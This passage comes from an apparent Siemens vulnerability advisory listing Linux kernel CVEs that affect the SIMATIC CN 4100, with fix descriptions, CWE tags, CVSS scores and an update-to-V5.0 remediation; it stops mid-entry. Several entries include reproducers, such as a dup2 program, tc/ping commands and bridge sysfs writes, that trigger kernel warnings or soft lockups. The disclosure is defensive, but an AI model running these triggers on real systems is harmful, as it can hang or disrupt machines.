csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid deadlock by moving pr_warn() outside kmemleak_lock When netpoll is enabled, calling pr_warn_once() while holding kmemleak_lock in mem_pool_alloc() can cause a deadlock due to lock inversion with the netconsole subsystem. This occurs because pr_warn_once() may trigger netpoll, which eventually leads to __alloc_skb() and back into kmemleak code, attempting to reacquire kmemleak_lock. This is the path for the deadlock. mem_pool_alloc() -> raw_spin_lock_irqsave(&kmemleak_lock, flags); -> pr_warn_once() -> netconsole subsystem -> netpoll -> __alloc_skb -> __create_object -> raw_spin_lock_irqsave(&kmemleak_lock, flags); Fix this by setting a flag and issuing the pr_warn_once() after kmemleak_lock is released.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-833 Deadlock\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39737\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid soft lockup in __kmemleak_do_cleanup() A soft lockup warning was observed on a relative small system x86-64 system with 16 GB of memory when running a debug kernel with kmemleak enabled. watchdog: BUG: soft lockup - CPU#8 stuck for 33s! [kworker/8:1:134] The test system was running a workload with hot unplug happening in parallel. Then kemleak decided to disable itself due to its inability to allocate more kmemleak objects. The debug kernel has its CONFIG_DEBUG_KMEMLEAK_MEM_POOL_SIZE set to 40,000. The soft lockup happened in kmemleak_do_cleanup() when the existing kmemleak objects were being removed and deleted one-by-one in a loop via a workqueue. In this particular case, there are at least 40,000 objects that need to be processed and given the slowness of a debug kernel and the fact that a raw_spinlock has to be acquired and released in __delete_object(), it could take a while to properly handle all these objects. As kmemleak has been disabled in this case, the object removal and deletion process can be further optimized as locking isn't really needed. However, it is probably not worth the effort to optimize for such an edge case that should rarely happen. So the simple solution is to call cond_resched() at periodic interval in the iteration loop to avoid soft lockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39738\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: do not allow relocation of partially dropped subvolumes [BUG] There is an internal report that balance triggered transaction abort, with the following call trace: item 85 key (594509824 169 0) itemoff 12599 itemsize 33 extent refs 1 gen 197740 flags 2 ref#0: tree block backref root 7 item 86 key (594558976 169 0) itemoff 12566 itemsize 33 extent refs 1 gen 197522 flags 2 ref#0: tree block backref root 7 ... BTRFS error (device loop0): extent item not found for insert, bytenr 594526208 num_bytes 16384 parent 449921024 root_objectid 934 owner 1 offset 0 BTRFS error (device loop0): failed to run delayed ref for logical 594526208 num_bytes 16384 type 182 action 1 ref_mod 1: -117 ------------[ cut here ]------------ BTRFS: Transaction aborted (error -117) WARNING: CPU: 1 PID: 6963 at ../fs/btrfs/extent-tree.c:2168 btrfs_run_delayed_refs+0xfa/0x110 [btrfs] And btrfs check doesn't report anything wrong related to the extent tree. [CAUSE] The cause is a little complex, firstly the extent tree indeed doesn't have the backref for 594526208. The extent tree only have the following two backrefs around that bytenr on-disk: item 65 key (594509824 METADATA_ITEM 0) itemoff 13880 itemsize 33 refs 1 gen 197740 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE item 66 key (594558976 METADATA_ITEM 0) itemoff 13847 itemsize 33 refs 1 gen 197522 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE But the such missing backref item is not an corruption on disk, as the offending delayed ref belongs to subvolume 934, and that subvolume is being dropped: item 0 key (934 ROOT_ITEM 198229) itemoff 15844 itemsize 439 generation 198229 root_dirid 256 bytenr 10741039104 byte_limit 0 bytes_used 345571328 last_snapshot 198229 flags 0x1000000000001(RDONLY) refs 0 drop_progress key (206324 EXTENT_DATA 2711650304) drop_level 2 level 2 generation_v2 198229 And that offending tree block 594526208 is inside the dropped range of that subvolume. That explains why there is no backref item for that bytenr and why btrfs check is not reporting anything wrong. But this also shows another problem, as btrfs will do all the orphan subvolume cleanup at a read-write mount. So half-dropped subvolume should not exist after an RW mount, and balance itself is also exclusive to subvolume cleanup, meaning we shouldn't hit a subvolume half-dropped during relocation. The root cause is, there is no orphan item for this subvolume. In fact there are 5 subvolumes from around 2021 that have the same problem. It looks like the original report has some older kernels running, and caused those zombie subvolumes. Thankfully upstream commit 8d488a8c7ba2 (\"btrfs: fix subvolume/snapshot deletion not triggered on mount\") has long fixed the bug. [ENHANCEMENT] For repairing such old fs, btrfs-progs will be enhanced. Considering how delayed the problem will show up (at run delayed ref time) and at that time we have to abort transaction already, it is too late. Instead here we reject any half-dropped subvolume for reloc tree at the earliest time, preventing confusion and extra time wasted on debugging similar bugs.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39742\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: RDMA: hfi1: fix possible divide-by-zero in find_hw_thread_mask() The function divides number of online CPUs by num_core_siblings, and later checks the divider by zero. This implies a possibility to get and divide-by-zero runtime error. Fix it by moving the check prior to division. This also helps to save one indentation level.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39743\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: truncate good inode pages when hard link is 0 The fileset value of the inode copy from the disk by the reproducer is AGGR_RESERVED_I. When executing evict, its hard link number is 0, so its inode pages are not truncated. This causes the bugon to be triggered when executing clear_inode() because nrpages is greater than 0.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39749\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: rcu: Protect ->defer_qs_iw_pending from data race On kernels built with CONFIG_IRQ_WORK=y, when rcu_read_unlock() is invoked within an interrupts-disabled region of code [1], it will invoke rcu_read_unlock_special(), which uses an irq-work handler to force the system to notice when the RCU read-side critical section actually ends. That end won't happen until interrupts are enabled at the soonest. In some kernels, such as those booted with rcutree.use_softirq=y, the irq-work handler is used unconditionally. The per-CPU rcu_data structure's ->defer_qs_iw_pending field is updated by the irq-work handler and is both read and updated by rcu_read_unlock_special(). This resulted in the following KCSAN splat: ------------------------------------------------------------------------ BUG: KCSAN: data-race in rcu_preempt_deferred_qs_handler / rcu_read_unlock_special read to 0xffff96b95f42d8d8 of 1 bytes by task 90 on cpu 8: rcu_read_unlock_special+0x175/0x260 __rcu_read_unlock+0x92/0xa0 rt_spin_unlock+0x9b/0xc0 __local_bh_enable+0x10d/0x170 __local_bh_enable_ip+0xfb/0x150 rcu_do_batch+0x595/0xc40 rcu_cpu_kthread+0x4e9/0x830 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 write to 0xffff96b95f42d8d8 of 1 bytes by task 88 on cpu 8: rcu_preempt_deferred_qs_handler+0x1e/0x30 irq_work_single+0xaf/0x160 run_irq_workd+0x91/0xc0 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 no locks held by irq_work/8/88. irq event stamp: 200272 hardirqs last enabled at (200272): [] finish_task_switch+0x131/0x320 hardirqs last disabled at (200271): [] __schedule+0x129/0xd70 softirqs last enabled at (0): [] copy_process+0x4df/0x1cc0 softirqs last disabled at (0): [<0000000000000000>] 0x0 ------------------------------------------------------------------------ The problem is that irq-work handlers run with interrupts enabled, which means that rcu_preempt_deferred_qs_handler() could be interrupted, and that interrupt handler might contain an RCU read-side critical section, which might invoke rcu_read_unlock_special(). In the strict KCSAN mode of operation used by RCU, this constitutes a data race on the ->defer_qs_iw_pending field. This commit therefore disables interrupts across the portion of the rcu_preempt_deferred_qs_handler() that updates the ->defer_qs_iw_pending field. This suffices because this handler is not a fast path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39752\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: rockchip: fix kernel hang during smp initialization In order to bring up secondary CPUs main CPU write trampoline code to SRAM. The trampoline code is written while secondary CPUs are powered on (at least that true for RK3188 CPU). Sometimes that leads to kernel hang. Probably because secondary CPU execute trampoline code while kernel doesn't expect. The patch moves SRAM initialization step to the point where all secondary CPUs are powered down. That fixes rarely hangs on RK3188: [ 0.091568] CPU0: thread -1, cpu 0, socket 0, mpidr 80000000 [ 0.091996] rockchip_smp_prepare_cpus: ncores 4\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-364 Signal Handler Race Condition\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39756\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INT_MAX When sysctl_nr_open is set to a very high value (for example, 1073741816 as set by systemd), processes attempting to use file descriptors near the limit can trigger massive memory allocation attempts that exceed INT_MAX, resulting in a WARNING in mm/slub.c: WARNING: CPU: 0 PID: 44 at mm/slub.c:5027 __kvmalloc_node_noprof+0x21a/0x288 This happens because kvmalloc_array() and kvmalloc() check if the requested size exceeds INT_MAX and emit a warning when the allocation is not flagged with __GFP_NOWARN. Specifically, when nr_open is set to 1073741816 (0x3ffffff8) and a process calls dup2(oldfd, 1073741880), the kernel attempts to allocate: - File descriptor array: 1073741880 * 8 bytes = 8,589,935,040 bytes - Multiple bitmaps: ~400MB - Total allocation size: > 8GB (exceeding INT_MAX = 2,147,483,647) Reproducer: 1. Set /proc/sys/fs/nr_open to 1073741816: # echo 1073741816 > /proc/sys/fs/nr_open 2. Run a program that uses a high file descriptor: #include #include int main() { struct rlimit rlim = {1073741824, 1073741824}; setrlimit(RLIMIT_NOFILE, &rlim); dup2(2, 1073741880); // Triggers the warning return 0; } 3. Observe WARNING in dmesg at mm/slub.c:5027 systemd commit a8b627a introduced automatic bumping of fs.nr_open to the maximum possible value. The rationale was that systems with memory control groups (memcg) no longer need separate file descriptor limits since memory is properly accounted. However, this change overlooked that: 1. The kernel's allocation functions still enforce INT_MAX as a maximum size regardless of memcg accounting 2. Programs and tests that legitimately test file descriptor limits can inadvertently trigger massive allocations 3. The resulting allocations (>8GB) are impractical and will always fail systemd's algorithm starts with INT_MAX and keeps halving the value until the kernel accepts it. On most systems, this results in nr_open being set to 1073741816 (0x3ffffff8), which is just under 1GB of file descriptors. While processes rarely use file descriptors near this limit in normal operation, certain selftests (like tools/testing/selftests/core/unshare_test.c) and programs that test file descriptor limits can trigger this issue. Fix this by adding a check in alloc_fdtable() to ensure the requested allocation size does not exceed INT_MAX. This causes the operation to fail with -EMFILE instead of triggering a kernel warning and avoids the impractical >8GB memory allocation request.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39757\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 cluster segment descriptors UAC3 class segment descriptors need to be verified whether their sizes match with the declared lengths and whether they fit with the allocated buffer sizes, too. Otherwise malicious firmware may lead to the unexpected OOB accesses.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39759\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: qgroup: fix race between quota disable and quota rescan ioctl There's a race between a task disabling quotas and another running the rescan ioctl that can result in a use-after-free of qgroup records from the fs_info->qgroup_tree rbtree. This happens as follows: 1) Task A enters btrfs_ioctl_quota_rescan() -> btrfs_qgroup_rescan(); 2) Task B enters btrfs_quota_disable() and calls btrfs_qgroup_wait_for_completion(), which does nothing because at that point fs_info->qgroup_rescan_running is false (it wasn't set yet by task A); 3) Task B calls btrfs_free_qgroup_config() which starts freeing qgroups from fs_info->qgroup_tree without taking the lock fs_info->qgroup_lock; 4) Task A enters qgroup_rescan_zero_tracking() which starts iterating the fs_info->qgroup_tree tree while holding fs_info->qgroup_lock, but task B is freeing qgroup records from that tree without holding the lock, resulting in a use-after-free. Fix this by taking fs_info->qgroup_lock at btrfs_free_qgroup_config(). Also at btrfs_qgroup_rescan() don't start the rescan worker if quotas were already disabled.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39760\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: core: config: Prevent OOB read in SS endpoint companion parsing usb_parse_ss_endpoint_companion() checks descriptor type before length, enabling a potentially odd read outside of the buffer size. Fix this up by checking the size first before looking at any of the fields in the descriptor.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39766\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: Make cake_enqueue return NET_XMIT_CN when past buffer_limit The following setup can trigger a WARNING in htb_activate due to the condition: !cl->leaf.q->q.qlen tc qdisc del dev lo root tc qdisc add dev lo root handle 1: htb default 1 tc class add dev lo parent 1: classid 1:1 \\ htb rate 64bit tc qdisc add dev lo parent 1:1 handle f: \\ cake memlimit 1b ping -I lo -f -c1 -s64 -W0.001 127.0.0.1 This is because the low memlimit leads to a low buffer_limit, which causes packet dropping. However, cake_enqueue still returns NET_XMIT_SUCCESS, causing htb_enqueue to call htb_activate with an empty child qdisc. We should return NET_XMIT_CN when packets are dropped from the same tin and flow. I do not believe return value of NET_XMIT_CN is necessary for packet drops in the case of ack filtering, as that is meant to optimize performance, not to signal congestion.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39770\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: gso: Forbid IPv6 TSO with extensions on devices with only IPV6_CSUM When performing Generic Segmentation Offload (GSO) on an IPv6 packet that contains extension headers, the kernel incorrectly requests checksum offload if the egress device only advertises NETIF_F_IPV6_CSUM feature, which has a strict contract: it supports checksum offload only for plain TCP or UDP over IPv6 and explicitly does not support packets with extension headers. The current GSO logic violates this contract by failing to disable the feature for packets with extension headers, such as those used in GREoIPv6 tunnels. This violation results in the device being asked to perform an operation it cannot support, leading to a `skb_warn_bad_offload` warning and a collapse of network throughput. While device TSO/USO is correctly bypassed in favor of software GSO for these packets, the GSO stack must be explicitly told not to request checksum offload. Mask NETIF_F_IPV6_CSUM, NETIF_F_TSO6 and NETIF_F_GSO_UDP_L4 in gso_features_check if the IPv6 header contains extension headers to compute checksum in software. The exception is a BIG TCP extension, which, as stated in commit 68e068cabd2c6c53 (\"net: reenable NETIF_F_IPV6_CSUM offload for BIG TCP packets\"): \"The feature is only enabled on devices that support BIG TCP TSO. The header is only present for PF_PACKET taps like tcpdump, and not transmitted by physical devices.\" kernel log output (truncated): WARNING: CPU: 1 PID: 5273 at net/core/dev.c:3535 skb_warn_bad_offload+0x81/0x140 ... Call Trace: skb_checksum_help+0x12a/0x1f0 validate_xmit_skb+0x1a3/0x2d0 validate_xmit_skb_list+0x4f/0x80 sch_direct_xmit+0x1a2/0x380 __dev_xmit_skb+0x242/0x670 __dev_queue_xmit+0x3fc/0x7f0 ip6_finish_output2+0x25e/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_tnl_xmit+0x608/0xc00 [ip6_tunnel] ip6gre_tunnel_xmit+0x1c0/0x390 [ip6_gre] dev_hard_start_xmit+0x63/0x1c0 __dev_queue_xmit+0x6d0/0x7f0 ip6_finish_output2+0x214/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 inet6_csk_xmit+0xeb/0x150 __tcp_transmit_skb+0x555/0xa80 tcp_write_xmit+0x32a/0xe90 tcp_sendmsg_locked+0x437/0x1110 tcp_sendmsg+0x2f/0x50 ... skb linear: 00000000: e4 3d 1a 7d ec 30 e4 3d 1a 7e 5d 90 86 dd 60 0e skb linear: 00000010: 00 0a 1b 34 3c 40 20 11 00 00 00 00 00 00 00 00 skb linear: 00000020: 00 00 00 00 00 12 20 11 00 00 00 00 00 00 00 00 skb linear: 00000030: 00 00 00 00 00 11 2f 00 04 01 04 01 01 00 00 00 skb linear: 00000040: 86 dd 60 0e 00 0a 1b 00 06 40 20 23 00 00 00 00 skb linear: 00000050: 00 00 00 00 00 00 00 00 00 12 20 23 00 00 00 00 skb linear: 00000060: 00 00 00 00 00 00 00 00 00 11 bf 96 14 51 13 f9 skb linear: 00000070: ae 27 a0 a8 2b e3 80 18 00 40 5b 6f 00 00 01 01 skb linear: 00000080: 08 0a 42 d4 50 d5 4b 70 f8 1a\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-573 Improper Following of Specification by Caller\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39772\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/hisilicon/hibmc: fix the hibmc loaded failed bug When hibmc loaded failed, the driver use hibmc_unload to free the resource, but the mutexes in mode.config are not init, which will access an NULL pointer. Just change goto statement to return, because hibnc_hw_init() doesn't need to free anything.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39773\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: bridge: fix soft lockup in br_multicast_query_expired() When set multicast_query_interval to a large value, the local variable 'time' in br_multicast_send_query() may overflow. If the time is smaller than jiffies, the timer will expire immediately, and then call mod_timer() again, which creates a loop and may trigger the following soft lockup issue. watchdog: BUG: soft lockup - CPU#1 stuck for 221s! [rb_consumer:66] CPU: 1 UID: 0 PID: 66 Comm: rb_consumer Not tainted 6.16.0+ #259 PREEMPT(none) Call Trace: __netdev_alloc_skb+0x2e/0x3a0 br_ip6_multicast_alloc_query+0x212/0x1b70 __br_multicast_send_query+0x376/0xac0 br_multicast_send_query+0x299/0x510 br_multicast_query_expired.constprop.0+0x16d/0x1b0 call_timer_fn+0x3b/0x2a0 __run_timers+0x619/0x950 run_timer_softirq+0x11c/0x220 handle_softirqs+0x18e/0x560 __irq_exit_rcu+0x158/0x1a0 sysvec_apic_timer_interrupt+0x76/0x90 This issue can be reproduced with: ip link add br0 type bridge echo 1 > /sys/class/net/br0/bridge/multicast_querier echo 0xffffffffffffffff > /sys/class/net/br0/bridge/multicast_query_interval ip link set dev br0 up The 